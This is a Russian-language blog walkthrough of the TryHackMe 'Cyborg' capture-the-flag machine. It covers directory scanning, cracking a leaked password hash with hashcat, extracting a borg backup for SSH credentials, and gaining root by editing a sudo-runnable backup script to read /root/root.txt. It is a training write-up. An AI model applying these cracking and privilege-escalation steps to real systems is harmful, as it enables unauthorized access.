Проходим машину cyborg на TryHackMe

0
(0)

Машинка выглядит вот так:

Вопросы про открытые порты и прочее я пропущу в данной статье, так как это мало интересно. Основных заданий тут два. Забрать user.txt и root.txt флаги.

На 80 порту висит apache. Запускаем сканирование директорий веб-сервера:

Bash
gobuster dir -u 10.10.240.198  -w /opt/gobuster-subdir-wordlist/dsplusleakypaths.txt

Находим две директории /admin и /etc.

По /admin видим страницу сайт. Изучив ее можно скачать некий archive.tar.

Его пока оставим. Давайте посмотрим что лежит в /etc.

Находим некую загруженную директорию squid. Посмотрим что в ней.

В конфиге squid я не нашел ничего интересного, а вот в фалике passwd лежат креды вот такого вида: music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.

music_archive это очевидно пользователь, после разделителя : хеш пароля. Возможно это как-то связано с архивом, который мы скачали.

Для начала поработаем с хешом пароля утилитой hashcat. Сохраним хеш в файл archive_hash_passwd.txt. И посмотрим, что это за хеш.

Bash
hashcat --show archive_hash_passwd.txt 

Отлично, hashcat подсказал нам какой режим хеширования используется. Теперь мы можем это использовать, но сначала заберем вот это словарь.

Bash
hashcat -m 1600 archive_hash_passwd.txt /opt/worldlist/rockyou.txt

Отлично, мы получили пароль. Сохраним его и посмотрим на архив, который мы скачали.

Bash
tar xvf archive.tar 

Я изучил все файлы, с подсказкой оказался как ни странно только README.

Нас отсылают изучить документация по утилите бекапирования borg. Дело в том, что borg умеет делать зашифрованные директории, следовательно просто так мы их не увидим. Пробуем полученные ранее креды:

Bash
borg extract home/field/dev/final_archive::music_archive

Отлично, видим бекап файлухи пользователя alex. Смотрим secret.txt и видим внутри только это: shoutout to all the people who have gotten to this stage whoop whoop! Забавно.

Проверяем note.txt и находим логин:пароль. Попробуем его для логина по ssh.

Креды валидные, мы внутри.

А вот и первый флаг user.txt.

Осталось найти root.txt.

Проверим какие у пользователя есть права на sudo.

Bash
sudo -l

Видим, что мы можем выполнять от рут пользователя некий скрипт. Давайте посмотрим его.

Bash
#!/bin/bash

sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt


input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
  #a="/etc/mp3backups/backed_up_files.txt"
#  b=$(basename $input)
  #echo
#  echo "$line"
#done < "$input"

while getopts c: flag
do
	case "${flag}" in 
		c) command=${OPTARG};;
	esac
done



backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"

# Where to backup to.
dest="/etc/mp3backups/"

# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"

echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"

cmd=$($command)
echo $cmd

Для нас интерес представляют первые строки, они же подсказка. Я имею ввиду команду find. Пробуем добавить:

Bash
sudo find / -name "root.txt"

Файл оказывается readonly. Проверим права и кто владелец файла.

Bash
ls -l /etc/mp3backups/backup.sh

Все оказалось проще, чем могло быть. Наш пользователь и есть владелец файла, а значит мы можем добавить бит на запись.

Bash
chmod +w /etc/mp3backups/backup.sh

Добавляем команду с find и запускаем скрипт.

Bash
sudo /etc/mp3backups/backup.sh

Файл мы нашли, теперь можем простым cat вывести его содержимое. Добавляем в скрипт:

Bash
sudo cat /root/root.txt

И запускаем скрипт заново, root.txt добыт.

Насколько статья полезна?

Нажмите на звезду, чтобы оценить!

Средняя оценка 0 / 5. Количество оценок: 0

Оценок пока нет. Поставьте оценку первым.

Оставить комментарий